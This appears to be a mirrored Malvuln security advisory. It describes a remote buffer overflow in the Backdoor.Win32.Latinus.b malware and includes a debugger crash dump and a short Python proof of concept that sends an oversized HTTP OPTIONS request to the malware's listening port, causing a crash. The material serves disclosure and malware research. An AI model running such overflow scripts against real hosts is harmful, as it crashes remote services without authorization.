## https://sploitus.com/exploit?id=PACKETSTORM:160977
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/9adffcc98cd658a7f9c5419480013f72.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Latinus.b
Vulnerability: Remote Buffer Overflow
Description: Malware listens on both TCP ports 11831 and 29559, by sending an HTTP OPTIONS request with about 8945 bytes we trigger buffer overflow and overwriting stack registers.
Type: PE32
MD5: 9adffcc98cd658a7f9c5419480013f72
Vuln ID: MVID-2021-0029
Dropped files: msHtml.exe
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 01/15/2021
Memory Dump:
EAX : 41414141
EBX : 040C91C0
ECX : 41414141
EDX : 040C7020
EBP : 0046B614 mshtml.0046B614
ESP : 000A1494
ESI : 00000014
EDI : 0046B610 mshtml.0046B610
EIP : 00401C78 mshtml.00401C78
This dump file has an exception of interest stored in it.
The stored exception information can be accessed via .ecxr.
(1534.17c0): Access violation - code c0000005 (first/second chance not available)
eax=41414141 ebx=04138948 ecx=41414141 edx=41414141 esi=00000014 edi=0046b610
eip=00401c76 esp=000a1644 ebp=0046b614 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
*** WARNING: Unable to verify checksum for msHtml.exe
*** ERROR: Module load completed but symbols could not be loaded for msHtml.exe
msHtml+0x1c76:
00401c76 8902 mov dword ptr [edx],eax ds:002b:41414141=????????
0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
Failed calling InternetOpenUrl, GLE=12029
FAULTING_IP:
msHtml+1c76
00401c76 8902 mov dword ptr [edx],eax
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 00401c76 (msHtml+0x00001c76)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 41414141
Attempt to write to address 41414141
PROCESS_NAME: msHtml.exe
OVERLAPPED_MODULE: Address regions for 'comctl32_72d50000' and 'dataexchange.dll' overlap
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_PARAMETER1: 00000001
EXCEPTION_PARAMETER2: 41414141
WRITE_ADDRESS: 41414141
FOLLOWUP_IP:
msHtml+1c76
00401c76 8902 mov dword ptr [edx],eax
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
FAULTING_THREAD: 000017c0
BUGCHECK_STR: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_41414141
PRIMARY_PROBLEM_CLASS: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141
DEFAULT_BUCKET_ID: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141
IP_ON_HEAP: 04144b5c
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.
FRAME_ONE_INVALID: 1
LAST_CONTROL_TRANSFER: from 04144b5c to 00401c76
STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
0046b614 04144b5c 027b87b0 027b9da4 027b9da4 msHtml+0x1c76
0046b618 027b87b0 027b9da4 027b9da4 00000000 0x4144b5c
0046b61c 027b9da4 027b9da4 00000000 00000000 0x27b87b0
0046b620 027b9da4 00000000 00000000 00000000 0x27b9da4
0046b624 00000000 00000000 00000000 0019ff74 0x27b9da4
STACK_COMMAND: ~0s; .ecxr ; kb
SYMBOL_STACK_INDEX: 0
SYMBOL_NAME: msHtml+1c76
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: msHtml
IMAGE_NAME: msHtml.exe
DEBUG_FLR_IMAGE_TIMESTAMP: 2a425e19
FAILURE_BUCKET_ID: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_msHtml.exe!Unknown
BUCKET_ID: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_41414141_msHtml+1c76
Exploit/PoC:
from socket import *
MALWARE_HOST="x.x.x.x"
PORT=29559
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
PAYLOAD="OPTIONS /"+"A"*8945+ " HTTP/1.1\r\nHost: "+MALWARE_HOST+"\r\n\r\n"
s.send(PAYLOAD)
s.close()
print("Backdoor.Win32.Latinus.b / Remote Buffer Overflow ")
print("MD5: 9adffcc98cd658a7f9c5419480013f72")
print("By Malvuln")
if __name__=="__main__":
doit()
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